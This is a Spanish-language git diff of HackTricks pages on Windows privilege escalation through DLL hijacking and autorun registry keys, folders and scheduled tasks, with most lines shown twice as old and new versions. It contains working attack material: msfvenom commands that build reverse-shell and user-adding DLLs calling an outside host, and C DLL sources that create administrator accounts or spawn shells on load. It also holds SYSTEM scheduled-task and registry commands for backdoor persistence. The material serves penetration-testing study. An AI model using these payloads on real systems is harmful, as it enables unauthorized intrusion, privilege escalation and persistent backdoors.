2. **Secuestro del orden de búsqueda de DLL**: las DLL especificadas por una aplicación sin una ruta se buscan en ubicaciones fijas en un orden específico \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]. El secuestro del orden de búsqueda se produce al colocar la DLL maliciosa en una ubicación que se busca antes de la DLL real. Esto a veces incluye el directorio de trabajo de la aplicación objetivo.
3. **Secuestro de DLL fantasma**: colocar una DLL maliciosa en lugar de una DLL faltante/inexistente que una aplicación legítima intenta cargar \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
4. **Redirección de DLL**: cambiar la ubicación en la que se busca la DLL, por ejemplo, editando la variable de entorno `%PATH%`, o los archivos `.exe.manifest` / `.exe.local` para incluir la carpeta que contiene la DLL maliciosa \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)].
5
5. **Reemplazo de DLL de WinSxS**: reemplazar la DLL legítima por la DLL maliciosa en la carpeta relevante de WinSxS de la DLL objetivo. A menudo se denomina carga lateral de DLL \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)].
6. **Secuestro de DLL con ruta relativa**: copiar (y opcionalmente renombrar) la aplicación legítima en una carpeta donde el usuario pueda escribir, junto con la DLL maliciosa. En la forma en que se utiliza, esto tiene similitudes con la Ejecución de Proxy Binario (Firmado) \[[8](https://attack.mitre.org/techniques/T1218/)]. Una variación de esto es lo que se llama de manera algo oximorónica 'trae tu propio LOLbin' \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], en el que la aplicación legítima se trae con la DLL maliciosa (en lugar de copiarse desde la ubicación legítima en la máquina de la víctima).
## Encontrar DLLs faltantes
La forma más común de encontrar DLLs faltantes dentro de un sistema es ejecutar [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **configurando** los **siguientes 2 filtros**:
![](<../../.gitbook/assets/image (311).png>)
![](<../../.gitbook/assets/image (313).png>)
y mostrar solo la **Actividad del sistema de archivos**:
![](<../../.gitbook/assets/image (314).png>)
Si estás buscando **DLLs faltantes en general**, debes dejar esto ejecutándose durante algunos **segundos**.\
Si estás buscando una **DLL faltante dentro de un ejecutable específico**, debes configurar **otro filtro como "Nombre del proceso" "contiene" "\<nombre del ejecutable>", ejecutarlo y detener la captura de eventos**.
## Explotando Dlls faltantes
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir una dll que un proceso privilegiado intentará cargar** en algún **lugar donde se buscará**. De esta manera, podremos **escribir** una dll en una **carpeta** donde la dll se busca antes que la carpeta donde se encuentra la **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se buscará la dll** y la **dll original no existe** en ninguna carpeta.
### Orden de búsqueda de Dlls
**Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente las Dlls**.
En general, una **aplicación de Windows** utilizará **rutas de búsqueda predefinidas para encontrar las DLL** y verificará estas rutas en un orden específico. El secuestro de DLL generalmente ocurre colocando una DLL maliciosa en una de estas carpetas asegurándose de que la DLL se encuentre antes que la legítima. Este problema se puede mitigar haciendo que la aplicación especifique rutas absolutas a las DLL que necesita.
Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación:
1. El directorio desde el cual se cargó la aplicación.
2. El directorio del sistema. Usa la función [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) para obtener la ruta de este directorio. (_C:\Windows\System32_)
3. El directorio del sistema de 16 bits. No hay una función que obtenga la ruta de este directorio, pero se busca. (_C:\Windows\System_)
4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio.
1. (_C:\Windows_)
5. El directorio actual.
6. Los directorios que se enumeran en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
Ese es el orden de búsqueda **predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y establece su valor en 0 (el valor predeterminado está habilitado).
Si la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) se llama con **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
Finalmente, ten en cuenta que **una dll se puede cargar indicando la ruta absoluta en lugar del nombre**. En ese caso, esa dll **solo se buscará en esa ruta** (si la dll tiene dependencias, se buscarán como si se hubieran cargado solo por nombre).
Existen otras formas de alterar el orden de búsqueda, pero no las explicaré aquí.
#### Excepciones en el orden de búsqueda de dll según la documentación de Windows
* Si una **DLL con el mismo nombre de módulo ya está cargada en memoria**, el sistema solo verifica la redirección y un manifiesto antes de resolver a la DLL cargada, sin importar en qué directorio se encuentre. **El sistema no busca la DLL**.
* Si la DLL está en la lista de **DLL conocidas** para la versión de Windows en la que se está ejecutando la aplicación, el **sistema utiliza su copia de la DLL conocida** (y las DLL dependientes de la DLL conocida, si las hay) **en lugar de buscar** la DLL. Para obtener una lista de DLL conocidas en el sistema actual, consulta la siguiente clave del registro: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
* Si una **DLL tiene dependencias**, el sistema **busca** las DLL dependientes como si se hubieran cargado solo con sus **nombres de módulo**. Esto es cierto **incluso si la primera DLL se cargó especificando una ruta completa**.
### Escalando privilegios
**Requisitos**:
* **Encontrar un proceso** que se ejecute/ejecutará con **otros privilegios** (movimiento horizontal/lateral) que **no tenga una dll**.
* Tener **permisos de escritura** en cualquier **carpeta** donde se vaya a **buscar la dll** (probablemente el directorio del ejecutable o alguna carpeta dentro de la ruta del sistema).
Sí, los requisitos son complicados de encontrar ya que **por defecto es extraño encontrar un ejecutable privilegiado sin una dll** y es aún **más extraño tener permisos de escritura en una carpeta de la ruta del sistema** (por defecto no se puede). Pero, en entornos mal configurados esto es posible.\
En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, puedes revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Incluso si el **objetivo principal del proyecto es eludir el UAC**, es posible que encuentres allí una **prueba de concepto** de secuestro de DLL para la versión de Windows que puedes utilizar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
Ten en cuenta que puedes **verificar tus permisos en una carpeta** haciendo:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
Y **verificar los permisos de todas las carpetas dentro de PATH**:
Y **verificar los permisos de todas las carpetas dentro de la RUTA**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
También puedes verificar las importaciones de un ejecutable y las exportaciones de una dll con:
También puedes verificar las importaciones de un ejecutable y las exportaciones de una DLL con:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
Para obtener una guía completa sobre cómo **abusar del secuestro de DLL para escalar privilegios** con permisos para escribir en una carpeta de **ruta del sistema**, consulte:
Para obtener una guía completa sobre cómo **abusar del secuestro de DLL para escalar privilegios** con permisos para escribir en una carpeta de **ruta del sistema**, consulta:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %}
[writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
@ -54,25 +115,25 @@ Para obtener una guía completa sobre cómo **abusar del secuestro de DLL para e
### Herramientas automatizadas
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) verificará si tiene permisos de escritura en alguna carpeta dentro de la ruta del sistema.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) verificará si tienes permisos de escritura en alguna carpeta dentro de la ruta del sistema.\
Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las funciones de **PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ y _Write-HijackDll_.
### Ejemplo
En caso de encontrar un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear una DLL que exporte al menos todas las funciones que el ejecutable importará de ella**. De todos modos, tenga en cuenta que el secuestro de DLL es útil para [escalar desde el nivel de integridad medio a alto **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) o desde **Alta integridad a SYSTEMA**. Puede encontrar un ejemplo de **cómo crear una DLL válida** dentro de este estudio de secuestro de DLL centrado en el secuestro de DLL para la ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Además, en la **siguiente sección** puede encontrar algunos **códigos DLL básicos** que pueden ser útiles como **plantillas** o para crear una **DLL con funciones no requeridas exportadas**.
En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear una DLL que exporte al menos todas las funciones que el ejecutable importará de ella**. De todos modos, ten en cuenta que el secuestro de DLL es útil para [escalar desde el nivel de integridad medio a alto **(burlando el UAC)**](../authentication-credentials-uac-and-efs.md#uac) o desde **alto nivel de integridad a SYSTEM**. Puedes encontrar un ejemplo de **cómo crear una DLL válida** en este estudio de secuestro de DLL centrado en el secuestro de DLL para la ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Además, en la **siguiente sección** puedes encontrar algunos **códigos DLL básicos** que pueden ser útiles como **plantillas** o para crear una **DLL con funciones no requeridas exportadas**.
## **Creación y compilación de DLLs**
### **Proxificación de DLL**
Básicamente, un **proxy de DLL** es una DLL capaz de **ejecutar su código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como **se espera** mediante el **reenvío de todas las llamadas a la biblioteca real**.
Básicamente, un **proxy de DLL** es una DLL capaz de **ejecutar tu código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como se **espera**, **retransmitiendo todas las llamadas a la biblioteca real**.
Con la herramienta **** [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) **** o **** [**Spartacus**](https://github.com/Accenture/Spartacus) ****, en realidad puede **indicar un ejecutable y seleccionar la biblioteca** que desea proxificar y **generar una DLL proxificada** o **indicar la DLL** y **generar una DLL proxificada**.
Con la herramienta **[DLLirant](https://github.com/redteamsocietegenerale/DLLirant)** o **[Spartacus](https://github.com/Accenture/Spartacus)**, puedes **indicar un ejecutable y seleccionar la biblioteca** que deseas proxificar y **generar una DLL proxificada**, o **indicar la DLL** y **generar una DLL proxificada**.
### **Meterpreter**
**Obtener shell inversa (x64):**
**Obtener una shell inversa (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
@ -84,27 +145,27 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Propio
### Tu propio
Tenga en cuenta que en varios casos, la Dll que compile debe **exportar varias funciones** que serán cargadas por el proceso víctima, si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**.
Ten en cuenta que en varios casos, la Dll que compilas debe **exportar varias funciones** que serán cargadas por el proceso víctima, si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
@ -114,11 +175,11 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
```
@ -130,15 +191,15 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
owned();
return 0;
}
```
@ -151,25 +212,25 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto hablado como escrito_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -179,8 +240,8 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -6,28 +6,28 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## WMIC
**Wmic** se puede utilizar para ejecutar programas en el **inicio**. Para ver qué binarios están programados para ejecutarse en el inicio, use:
**Wmic** se puede utilizar para ejecutar programas al **inicio**. Para ver qué binarios están programados para ejecutarse al inicio, utiliza:
```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```
## Tareas programadas
Las **tareas** pueden ser programadas para ejecutarse con **cierta frecuencia**. Verifique qué binarios están programados para ejecutarse con:
Las **tareas** se pueden programar para que se ejecuten con **cierta frecuencia**. Verifique qué binarios están programados para ejecutarse con:
```bash
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
@ -40,7 +40,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## Carpetas
Todos los binarios ubicados en las **carpetas de inicio se ejecutarán al inicio**. Las carpetas de inicio comunes se enumeran a continuación, pero la carpeta de inicio se indica en el registro. [Lee esto para saber dónde.](privilege-escalation-with-autorun-binaries.md#startup-path)
Todos los binarios ubicados en las **carpetas de inicio se ejecutarán al iniciar**. Las carpetas de inicio comunes se enumeran a continuación, pero la carpeta de inicio se indica en el registro. [Lee esto para saber dónde.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -71,7 +71,7 @@ Registro de AutoRun comúnmente conocido:
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
Las claves de registro Run y RunOnce hacen que los programas se ejecuten cada vez que un usuario inicia sesión. El valor de datos para una clave es una línea de comando no más larga de 260 caracteres.
Las claves de registro Run y RunOnce hacen que los programas se ejecuten cada vez que un usuario inicia sesión. El valor de datos para una clave es una línea de comandos que no debe superar los 260 caracteres.
**Ejecuciones de servicios** (pueden controlar el inicio automático de servicios durante el arranque):
@ -89,14 +89,14 @@ Las claves de registro Run y RunOnce hacen que los programas se ejecuten cada ve
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
No se crea por defecto en Windows Vista y versiones posteriores. Las entradas de la clave de ejecución del registro pueden hacer referencia a programas directamente o listarlos como una dependencia. Por ejemplo, es posible cargar una DLL en el inicio de sesión utilizando una clave "Depend" con RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
No se crea de forma predeterminada en Windows Vista y versiones más recientes. Las entradas de la clave de ejecución del registro pueden hacer referencia directamente a programas o enumerarlos como una dependencia. Por ejemplo, es posible cargar una DLL al iniciar sesión utilizando una clave "Depend" con RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
{% hint style="info" %}
**Explotación 1**: Si puedes escribir dentro de cualquiera de los registros mencionados dentro de **HKLM**, puedes escalar privilegios cuando un usuario diferente inicie sesión.
**Explotación 1**: Si puedes escribir dentro de cualquiera de los registros mencionados dentro de **HKLM**, puedes escalar privilegios cuando otro usuario inicie sesión.
{% endhint %}
{% hint style="info" %}
**Explotación 2**: Si puedes sobrescribir cualquiera de los binarios indicados en cualquiera de los registros dentro de **HKLM**, puedes modificar ese binario con una puerta trasera cuando un usuario diferente inicie sesión y escalar privilegios.
**Explotación 2**: Si puedes sobrescribir cualquiera de los binarios indicados en cualquiera de los registros dentro de **HKLM**, puedes modificar ese binario con una puerta trasera cuando otro usuario inicie sesión y escalar privilegios.
{% endhint %}
```bash
#CMD
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
Cualquier acceso directo creado en la ubicación indicada por la subclave de inicio lanzará el servicio durante el inicio o reinicio de sesión. La ubicación de inicio se especifica tanto en la máquina local como en el usuario actual.
Cualquier acceso directo creado en la ubicación indicada por la subclave de inicio ejecutará el servicio durante el inicio de sesión o reinicio. La ubicación de inicio se especifica tanto en la Máquina Local como en el Usuario Actual.
{% hint style="info" %}
Si puede sobrescribir cualquier carpeta de shell de usuario en **HKLM**, podrá apuntarla a una carpeta controlada por usted y colocar una puerta trasera que se ejecutará cada vez que un usuario inicie sesión en el sistema, escalando privilegios.
Si puedes sobrescribir cualquier Carpeta de Shell de \[Usuario] bajo **HKLM**, podrás apuntarlo a una carpeta controlada por ti y colocar una puerta trasera que se ejecutará cada vez que un usuario inicie sesión en el sistema, escalando privilegios.
{% endhint %}
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -180,8 +180,8 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
Por lo general, la clave **Userinit** apunta a userinit.exe, pero si esta clave se puede modificar, entonces ese exe también se lanzará por Winlogon.\
La clave **Shell** debe apuntar a explorer.exe.
Por lo general, la clave **Userinit** apunta a userinit.exe, pero si esta clave se puede modificar, entonces ese exe también se ejecutará mediante Winlogon.\
La clave **Shell** debería apuntar a explorer.exe.
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
@ -189,15 +189,15 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
```
{% hint style="info" %}
Si puedes sobrescribir el valor del registro o el binario, podrás escalar privilegios.
Si puedes sobrescribir el valor del registro o el binario, podrás elevar los privilegios.
{% endhint %}
### Configuraciones de Política
### Configuraciones de política
* `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
Revisa la clave **Run**.
Verificar la clave **Run**.
```bash
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
@ -208,27 +208,27 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
Ruta: **`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`**
Bajo la clave del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` se encuentra el valor **AlternateShell**, que por defecto está establecido en `cmd.exe` (el símbolo del sistema). Cuando se presiona F8 durante el arranque y se selecciona "Modo seguro con símbolo del sistema", el sistema utiliza este shell alternativo.\
Sin embargo, se puede crear una opción de arranque para no tener que presionar F8 y seleccionar "Modo seguro con símbolo del sistema".
Bajo la clave del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` se encuentra el valor **AlternateShell**, que por defecto está configurado como `cmd.exe` (el símbolo del sistema). Cuando presionas F8 durante el inicio y seleccionas "Modo seguro con símbolo del sistema", el sistema utiliza esta shell alternativa.\
Sin embargo, puedes crear una opción de arranque para no tener que presionar F8 y luego seleccionar "Modo seguro con símbolo del sistema".
1. Edite los atributos del archivo boot.ini (c:\boot.ini) para que el archivo no sea de solo lectura, no sea del sistema y no esté oculto (attrib c:\boot.ini -r -s -h).
2. Abra boot.ini.
3. Agregue una línea similar a la siguiente: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
4. Guarde el archivo.
5. Vuelva a aplicar los permisos correctos (attrib c:\boot.ini +r +s +h).
1. Edita los atributos del archivo boot.ini (c:\boot.ini) para que el archivo no sea de solo lectura, no sea del sistema y no esté oculto (attrib c:\boot.ini -r -s -h).
2. Abre boot.ini.
3. Agrega una línea similar a la siguiente: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
4. Guarda el archivo.
5. Vuelve a aplicar los permisos correctos (attrib c:\boot.ini +r +s +h).
Información de [aquí](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
{% hint style="info" %}
**Explotación 1:** Si puede modificar esta clave del registro, puede apuntar su puerta trasera.
**Exploit 1:** Si puedes modificar esta clave del registro, puedes apuntar tu puerta trasera.
{% endhint %}
{% hint style="info" %}
**Explotación 2 (permisos de escritura en PATH)**: Si tiene permisos de escritura en cualquier carpeta del sistema **PATH** antes de _C:\Windows\system32_ (o si puede cambiarlo), puede crear un archivo cmd.exe y si alguien inicia la máquina en modo seguro, su puerta trasera se ejecutará.
**Exploit 2 (permisos de escritura en PATH)**: Si tienes permisos de escritura en cualquier carpeta del sistema **PATH** antes de _C:\Windows\system32_ (o si puedes cambiarlo), puedes crear un archivo cmd.exe y si alguien inicia la máquina en modo seguro, se ejecutará tu puerta trasera.
{% endhint %}
{% hint style="info" %}
**Explotación 3 (permisos de escritura en PATH y permisos de escritura en boot.ini)**: Si puede escribir en boot.ini, puede automatizar el inicio en modo seguro para el próximo reinicio.
**Exploit 3 (permisos de escritura en PATH y boot.ini)**: Si puedes escribir en boot.ini, puedes automatizar el inicio en modo seguro para el próximo reinicio.
{% endhint %}
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
@ -241,19 +241,19 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
